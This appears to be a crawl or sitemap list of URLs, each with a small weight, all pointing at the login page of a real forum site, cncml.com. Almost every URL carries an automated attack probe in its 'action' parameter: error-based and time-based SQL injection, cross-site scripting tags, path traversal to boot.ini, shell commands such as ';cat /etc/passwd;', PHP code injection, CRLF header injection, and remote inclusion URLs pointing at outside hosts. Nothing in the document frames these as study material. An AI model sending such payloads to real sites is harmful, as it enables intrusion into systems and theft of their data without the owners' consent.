http://www.cncml.com/member.php?mod=logging&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=loginJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=loginalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=logine360 0.0001 http://www.cncml.com/member.php?mod=logging&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=(SELECT%20(CASE%20WHEN%20(71=39)%20THEN%200x6C6F67696E%20ELSE%2071*(SELECT%2071%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=dir 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login 0.0014 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%00' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25%27%29%20AND%2018%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25%27%29%20AND%2067%3D64%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%2064=64%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%2072=57%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=11)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(48=48)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%2527 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%2527%20AND%2056=56%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%2527%20AND%2082=31%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login' 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%20'VU'='VU 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%20'lp'='oS 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20OR%20'y9'='y9'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'r6'='r6 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=59)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'Pn'='Pn 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 